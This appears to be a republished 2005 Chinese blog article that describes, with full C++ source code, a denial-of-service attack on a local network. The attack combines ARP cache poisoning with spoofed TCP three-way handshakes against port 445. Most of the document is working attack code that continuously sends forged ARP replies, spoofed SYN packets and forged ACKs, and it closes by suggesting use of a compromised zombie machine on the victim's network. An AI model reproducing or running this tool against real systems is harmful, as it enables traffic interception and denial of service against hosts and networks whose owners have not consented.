首页 运维 网络学院 查看内容

基于ARP欺骗的TCP伪连接D.o.S

2005-6-11 11:20 826 0

摘要: 从某种意义上说,如果能够制造TCP伪连接,那么D.o.S也就比较容易实现了。以前LionD8就曾经用这个思路做出了一个新型D.o.S,而今天,我用的也是这个思路。但是,如果直接伪造TCP三...
关键词: nbsp HEADER 主机 char TCP MAC sizeof USHORT memcpy ARP

从某种意义上说,如果能够制造TCP伪连接,那么D.o.S也就比较容易实现了。以前LionD8就曾经用这个思路做出了一个新型D.o.S,而今天,我用的也是这个思路。但是,如果直接伪造TCP三次握手而不作其他任何处理,那却是不行的。因为,当攻击的目标主机接收到我们发过去的伪造的SYN包后会发回一个SYN+ACK包(也就是第二次握手)。而当我们的系统收到这个SYN+ACK包后,由于系统内并没有发起真正的TCP连接,因此系统会发回一个RST包,这个包将使目标主机重置连接。这样,这个伪连接就建立失败了。    要解决这个问题,办法有不少,而我这里要用的方法就是ARP欺骗。首先,我们要对目标主机进行ARP欺骗,让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起TCP伪连接了。这样一来,即使目标主机返回一个SYN+ACK包,这个包也不会进入到我们的系统(因为这个包的目的IP不会是我们而应该是我们伪装的那台主机的IP),这样,我们的系统也不会向目标主机发送RST包了。    打个比方,假设我们是主机A,现在我想要攻击主机B。首先,我先伪装主机C对B进行ARP欺骗(以C的IP地址和A的MAC地址构造ARP应答包发送到B),这样,B的ARP缓存中就会记录下C的IP对应A的MAC地址。然后,我们再以C的IP为源IP构造SYN数据包,向B发起TCP伪连接。当B收到这个SYN包之后,它会构造一个SYN+ACK包发往C。但是,由于此时在B的ARP缓存中记录着:C的IP对应A的MAC地址,因此,这个SYN+ACK包实际上被发送到了A。虽然,这个包将被A的系统所丢弃(因为这个包的目的IP是C的IP而不是A的IP,所以A的系统将会丢弃这个包),但是,我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个SYN+ACK包之后,我们需要再次伪装C向B发回一个ACK包完成第三次握手。这样,TCP初始化连接的三次握手都完成了,我们的伪连接也成功建立了!    伪连接建立之后,我们还可以继续向目标主机发送数据,来保证TCP连接的存活。    这里,有几个需要注意的问题:首先,为了保证攻击过程中目标主机的ARP缓存不被更改,我们需要持续不断的对其进行ARP欺骗;第二,为了防止在攻击过程中我们伪装的主机向目标主机发起通信,刷新目标主机的ARP缓存,对我们的攻击造成影响,我们还可以对伪装主机也同时进行ARP欺骗,以增加攻击成功的几率。    好了,说了这么多,下面就给出我实现的源代码,欢迎大虾们多多指教。// DoS_By_ARPCheat.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include "winsock2.h"#include "Packet32.h"#include "stdio.h"#pragma comment(lib, "packet")#pragma comment(lib, "ws2_32")//下面几个宏是测试用的主机的IP和MAC#define SIMULATE_MAC "0011111d735a"     //伪装主机的MAC地址#define TARGET_MAC "001111c6f7fe"       //目的主机的MAC地址#define LOCAL_MAC "00e06e41508f"        //本机MAC地址#define TARGET_IP "211.83.97.24"        //目的主机的IP#define SIMULATE_IP "211.83.97.16"      //伪装主机的IP#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式#pragma pack(push, 1)struct ET_HEADER    //以太网头部{    unsigned char   eh_dst[6];      unsigned char   eh_src[6];    unsigned short  eh_type;};struct ARP_HEADER   //ARP头部{    unsigned short  arp_hdr;    unsigned short  arp_pro;    unsigned char   arp_hln;    unsigned char   arp_pln;    unsigned short  arp_opt;    unsigned char   arp_sha[6];    unsigned long   arp_spa;    unsigned char   arp_tha[6];    unsigned long   arp_tpa;};struct IP_HEADER          //IP头部{    char m_ver_hlen;      //4位版本号,4位ip头部长    char m_tos;    USHORT m_tlen;    USHORT m_ident;    USHORT m_flag_frag;     //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量    char m_ttl;    char m_protocol;    USHORT m_cksum;    ULONG m_sIP;    ULONG m_dIP;};struct TCP_HEADER          //TCP头部{    USHORT m_sport;    USHORT m_dport;    ULONG m_seq;    ULONG m_ack;       char m_hlen_res4;              //4位tcp头部长,6位保留的前4位    char m_res2_flag;              //6位保留的后2位,6位标志    USHORT m_win;    USHORT m_cksum;    USHORT m_urp;};struct PSD_HEADER         //伪头部,计算校验和用{    ULONG m_saddr; //源地址     ULONG m_daddr; //目的地址     char m_mbz;     char m_ptcl; //协议类型     USHORT m_tcpl; //TCP长度 };struct TCP_OPTION         //TCP选项,发起伪连接时要用来与对方协商{    USHORT unKnown;    USHORT maxSegSize;     //MSS,以太网一般为1460    char no1;    char no2;    USHORT SACK;};struct CHEAT_ARP_INFO        //ARP欺骗线程的参数{    char simulateIP[20];    char targetIP[20];    char targetMAC[13];};#pragma pack(pop)USHORT CheckSum(USHORT *buffer, int size);   //计算校验和的函数void StrToMac(char *str,char *mac);          //字符串转换为MAC地址void ListenACK();                            //监听函数,监听对方的回包void AssayAndSendData(LPPACKET lpPacket);    //分析数据帧并发送回包DWORD WINAPI ArpCheat(void *pInfo);          //ARP欺骗线程DWORD WINAPI SendSyn(void *no);              //发送SYN包的线程void Info();                               LPADAPTER lpAdapter=NULL;                    //适配器指针USHORT ipID=1638;                            //IP标识USHORT sourcePort=1056;                      //起始源端口USHORT targetPort=445;                       //目的端口int main(int argc, char* argv[]){    Info();    WSADATA wsaData;    if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)    {        printf("WSAStartup error!\n");        return -1;    }    //打开适配器:    WCHAR adapter_name[2048]={0};    ULONG adapter_length=1024;        //取得所有适配器的名字.    if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)    {        //adapter_name:一个用于存放适配器的名字的缓冲区        //adapter_length:这个缓冲区的大小        printf("PacketGetAdapterNames error:%d\n",GetLastError());        return -1;    }        WCHAR *name1,*name2;    ULONG i;    static CHAR adapter_list[10][1024];    name1=adapter_name;    name2=adapter_name;    i=0;    //把adapter_name中的适配器名字,分别copy到adapter_list[]中,i从0开始为第一个    while((*name1!='\0') || (*(name1-1)!='\0'))    {        if(*name1=='\0')        {            memcpy(adapter_list[i],name2,2*(name1-name2));            name2=name1+1;            i++;        }        name1++;    }    //默认打开第一块适配器    lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);        if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))    {        printf("Unable to open the driver, Error Code : %lx\n", GetLastError());        return -1;    }    //创建ARP欺骗线程:    CHEAT_ARP_INFO info1={0},info2={0};    memcpy(info1.simulateIP,SIMULATE_IP,strlen(SIMULATE_IP));    memcpy(info1.targetIP,TARGET_IP,strlen(TARGET_IP));    memcpy(info1.targetMAC,TARGET_MAC,strlen(TARGET_MAC));    ::CreateThread(NULL,0,ArpCheat,&info1,0,NULL);    memcpy(info2.simulateIP,TARGET_IP,strlen(TARGET_IP));    memcpy(info2.targetIP,SIMULATE_IP,strlen(SIMULATE_IP));    memcpy(info2.targetMAC,SIMULATE_MAC,strlen(SIMULATE_MAC));    ::CreateThread(NULL,0,ArpCheat,&info2,0,NULL);    Sleep(50);    //发送TCP伪连接的SYN数据帧:    ::CreateThread(NULL,0,SendSyn,NULL,0,NULL);    ListenACK();      //循环监听数据包    PacketCloseAdapter(lpAdapter);  //关闭适配器    ::WSACleanup();    return 0;}DWORD WINAPI SendSyn(void *no){    Sleep(100);    while(TRUE)     //循环发送SYN包发起伪连接    {        char s_mac[6]={0},d_mac[6]={0};        char sendSynBuf[128]={0};        ET_HEADER et_header={0};        IP_HEADER ip_header={0};        TCP_HEADER tcp_header={0};        TCP_OPTION tcp_option={0};        PSD_HEADER psd_header={0};        //填充以太头部:        StrToMac(LOCAL_MAC,s_mac);    //local_mac        memcpy(et_header.eh_src,s_mac,6);        StrToMac(TARGET_MAC,d_mac);    //dest_mac        memcpy(et_header.eh_dst,d_mac,6);        et_header.eh_type=htons(0x0800);  //类型为0x0800表示这是IP包        //填充IP头部:        ip_header.m_ver_hlen=(4<<4|5);        ip_header.m_tos=0;        ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));        ip_header.m_ident=htons(ipID++);        ip_header.m_flag_frag=htons(16384); //设置为不分片        ip_header.m_ttl=128;        ip_header.m_protocol=IPPROTO_TCP;   //高层协议为TCP        ip_header.m_cksum=0;        ip_header.m_sIP=inet_addr(SIMULATE_IP);   //源IP填为伪装主机的IP        ip_header.m_dIP=inet_addr(TARGET_IP);     //目的IP        ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));        //填充TCP头部以及TCP选项:        tcp_header.m_dport=htons(targetPort);        tcp_header.m_sport=htons(sourcePort++);        tcp_header.m_seq=::GetTickCount();   //初始化序列号        tcp_header.m_ack=0;        tcp_header.m_hlen_res4=(((sizeof(TCP_HEADER)+sizeof(TCP_OPTION))/4)<<4);        tcp_header.m_res2_flag=2;      //标识为SYN包        tcp_header.m_win=htons(16384);        tcp_header.m_cksum=0;        tcp_header.m_urp=0;        tcp_option.unKnown=htons(516);        tcp_option.maxSegSize=htons(1460);   //MSS,以太网一般为1460        tcp_option.no1=1;        tcp_option.no2=1;        tcp_option.SACK=htons(1026);        //计算TCP校验和:        psd_header.m_daddr=ip_header.m_dIP;        psd_header.m_saddr=ip_header.m_sIP;        psd_header.m_mbz=0;        psd_header.m_ptcl=IPPROTO_TCP;        psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+sizeof(TCP_OPTION));        char tcpBuf[128]={0};        memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));        memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));        memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));        tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));        //构造SYN数据帧:        memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));        memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));        memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));        memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));        //发送伪造的SYN包:        LPPACKET lpPacket;        lpPacket=PacketAllocatePacket();     //给PACKET结构指针分配内存        PacketInitPacket(lpPacket,sendSynBuf,128);   //初始化PACKET结构指针        if(PacketSetNumWrites(lpAdapter,1)==FALSE)   //设置发送次数        {            printf("Warning: Unable to send more than one packet in a single write!\n");            continue;        }        if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)          {            printf("Error sending the packets!\n");            continue;        }        PacketFreePacket(lpPacket);   //释放PACKET结构指针        Sleep(100);    }    return 0;}DWORD WINAPI ArpCheat(void *pInfo){    CHEAT_ARP_INFO info={0};    memcpy(&info,pInfo,sizeof(CHEAT_ARP_INFO));    //伪造ARP应答包:    char s_mac[6]={0},d_mac[6]={0};    ET_HEADER et_header={0};    ARP_HEADER arp_header={0};    char buffer[64]={0};    StrToMac(LOCAL_MAC,s_mac);    //源MAC地址    memcpy(et_header.eh_src,s_mac,6);    StrToMac(info.targetMAC,d_mac);    //目的MAC地址    memcpy(et_header.eh_dst,d_mac,6);    et_header.eh_type=htons(0x0806);  //类型为0x0806表示这是ARP包    arp_header.arp_hdr=htons(0x0001);  //硬件地址类型以太网地址    arp_header.arp_pro=htons(0x0800);  //协议地址类型为IP协议    arp_header.arp_hln=6;              //硬件地址长度为6    arp_header.arp_pln=4;              //协议地址长度为4    arp_header.arp_opt=htons(0x0002);  //标识为ARP应答    arp_header.arp_spa=inet_addr(info.simulateIP);  //source_ip    memcpy(arp_header.arp_sha,et_header.eh_src,6);    arp_header.arp_tpa=inet_addr(info.targetIP);   //target_ip    memcpy(arp_header.arp_tha,et_header.eh_dst,6);    memcpy(buffer,&et_header,sizeof(ET_HEADER));    memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));    //发送伪造地ARP应答包:    LPPACKET lpPacket;    lpPacket=PacketAllocatePacket();     //给PACKET结构指针分配内存    PacketInitPacket(lpPacket,buffer,64);   //初始化PACKET结构指针    if(PacketSetNumWrites(lpAdapter,1)==FALSE)   //设置发送次数        printf("warning: Unable to send more than one packet in a single write!\n");        while(TRUE)    {        if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)  //不断发送伪造的ARP应答包达到欺骗目标主机的目的        {            printf("Error sending the packets!\n");            break;        }        Sleep(3000);    }    PacketFreePacket(lpPacket);   //释放PACKET结构指针    return 0;}void ListenACK(){    LPPACKET lpPacket;    char recvBuf[512]={0};    PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED);   //设置网卡为直接模式    PacketSetBuff(lpAdapter,1024);     //设置网卡接收数据包的缓冲区大小    PacketSetReadTimeout(lpAdapter,2);   //设置接收到一个包后的“休息”时间    while(TRUE)    {        lpPacket=PacketAllocatePacket();    //给PACKET结构指针分配内存        PacketInitPacket(lpPacket,recvBuf,512);    //初始化PACKET结构指针        if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==TRUE)   //接收数据帧            AssayAndSendData(lpPacket);        //分析数据包并发送ACK包        else            printf("Recv Error!\n");        //每次收包后重置lpPacket:        PacketFreePacket(lpPacket);        memset(recvBuf,0,512);        Sleep(10);    }    PacketFreePacket(lpPacket);   //释放lpPacket    return;}USHORT CheckSum(USHORT *buffer, int size){     unsigned long cksum=0;     while(size >1)     {        cksum+=*buffer++;        size -=sizeof(USHORT);    }     if(size)        cksum += *(UCHAR*)buffer;     cksum = (cksum >> 16) + (cksum & 0xffff);     cksum += (cksum >>16);    return (USHORT)(~cksum);} void StrToMac(char *str,char *mac)  //自定义的将字符串转换成mac地址的函数{    char *str1;    int i;    int low,high;    char temp;    for(i=0;i<6;i++)    {        str1=str+1;        switch(*str)        {        case 'a':high=10;                 break;        case 'b':high=11;                 break;        case 'c':high=12;                 break;        case 'd':high=13;                 break;        case 'e':high=14;                 break;        case 'f':high=15;                 break;        default:temp=*str;                high=atoi(&temp);        }        switch(*str1)        {        case 'a':low=10;                 break;        case 'b':low=11;                 break;        case 'c':low=12;                 break;        case 'd':low=13;                 break;        case 'e':low=14;                 break;        case 'f':low=15;                 break;        default:temp=*str1;                low=atoi(&temp);         }        mac[i]=high*16+low;        str+=2;    }}void AssayAndSendData(LPPACKET lpPacket){    char *buf;    bpf_hdr *lpBpfhdr;    ET_HEADER *lpEthdr;    in_addr addr={0};    buf=(char *)lpPacket->Buffer;    lpBpfhdr=(bpf_hdr *)buf;    lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);    if(lpEthdr->eh_type==htons(0x0800))     //判断是否为IP包    {        IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));        if( ( inet_addr(SIMULATE_IP)==lpIphdr->m_dIP ) && ( inet_addr(TARGET_IP)==lpIphdr->m_sIP ) && (lpIphdr->m_protocol==IPPROTO_TCP) )   //判断所收到的数据包的传输层协议、源及目的IP        {            TCP_HEADER *lpTcphdr=(TCP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER)+sizeof(IP_HEADER));            if( ( (lpTcphdr->m_res2_flag & 0x10)!=0 ) && ( lpTcphdr->m_win!=0 ) )  //判断是否为带ACK标记的包并判断目标主机接收窗口是否已为0            {                char s_mac[6]={0},d_mac[6]={0};                char sendSynBuf[128]={0};                char *data="ffantasyYD";                ET_HEADER et_header={0};                IP_HEADER ip_header={0};                TCP_HEADER tcp_header={0};                PSD_HEADER psd_header={0};                StrToMac(LOCAL_MAC,s_mac);    //local_mac                memcpy(et_header.eh_src,s_mac,6);                StrToMac(TARGET_MAC,d_mac);    //dest_mac                memcpy(et_header.eh_dst,d_mac,6);                et_header.eh_type=htons(0x0800);  //类型为0x0800表示这是IP包                ip_header.m_ver_hlen=(4<<4|5);                ip_header.m_tos=0;                ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));                ip_header.m_ident=htons(ipID++);                ip_header.m_flag_frag=htons(16384); //设置为不分片                ip_header.m_ttl=128;                ip_header.m_protocol=IPPROTO_TCP;   //高层协议为TCP                ip_header.m_cksum=0;                ip_header.m_sIP=inet_addr(SIMULATE_IP);                ip_header.m_dIP=inet_addr(TARGET_IP);                ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));                tcp_header.m_dport=lpTcphdr->m_sport;                tcp_header.m_sport=lpTcphdr->m_dport;                tcp_header.m_seq=lpTcphdr->m_ack;        //序列号为接收到包的ack号                if(lpTcphdr->m_res2_flag==0x12)    //若收到的包是SYN+ACK包,则ACK号为接收到包的序列号加1                    tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+1);                   else      //若收到的包不是SYN+ACK包,则ACK号为接收到包的序列号加上包的数据部分长度                    tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+ntohs(lpIphdr->m_tlen)-40);                tcp_header.m_hlen_res4=((sizeof(TCP_HEADER)/4)<<4);                tcp_header.m_res2_flag=0x10;       //设置为ACK包                tcp_header.m_win=lpTcphdr->m_win;                tcp_header.m_cksum=0;                tcp_header.m_urp=0;                psd_header.m_daddr=ip_header.m_dIP;                psd_header.m_saddr=ip_header.m_sIP;                psd_header.m_mbz=0;                psd_header.m_ptcl=IPPROTO_TCP;                psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+strlen(data));                char tcpBuf[128]={0};                memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));                memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));                memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),data,strlen(data));                tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+strlen(data));                memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));                memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));                memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));                memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),data,strlen(data));                //发送伪造的ACK包:                LPPACKET lpSendPacket;                lpSendPacket=PacketAllocatePacket();     //给PACKET结构指针分配内存                PacketInitPacket(lpSendPacket,sendSynBuf,128);   //初始化PACKET结构指针                if(PacketSetNumWrites(lpAdapter,1)==FALSE)   //设置发送次数                {                    printf("Warning: Unable to send more than one packet in a single write!\n");                    return;                }                if(PacketSendPacket(lpAdapter,lpSendPacket,TRUE)==FALSE)                  {                    printf("Error sending the packets!\n");                    return;                }                PacketFreePacket(lpSendPacket);   //释放PACKET结构指针            }        }    }    return;}void Info(){    printf("********************************\n");    printf("*    Made by ffantasyYD        *\n");    printf("*    QQ:76889713               *\n");    printf("*    Email:[email protected]  *\n");    printf("*    http://ffantasyyd.126.com *\n");    printf("********************************\n");}    注:由于以上代码是我测试用的,因此显得不太便于使用,很多信息都是我自己去获取后直接写进程序里的,比如目标主机的MAC地址等,这些都需要测试者自己修改。另外,这种D.o.S存在着一个局限性,那就是目标主机必须跟我们的主机处于同一个二层网络内。但是,我们可以利用一些方法来克服这种局限性,比如,我们可以在目标主机的网络内找一台肉鸡,这样,我们就只需要控制那台肉鸡进行攻击就行了。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部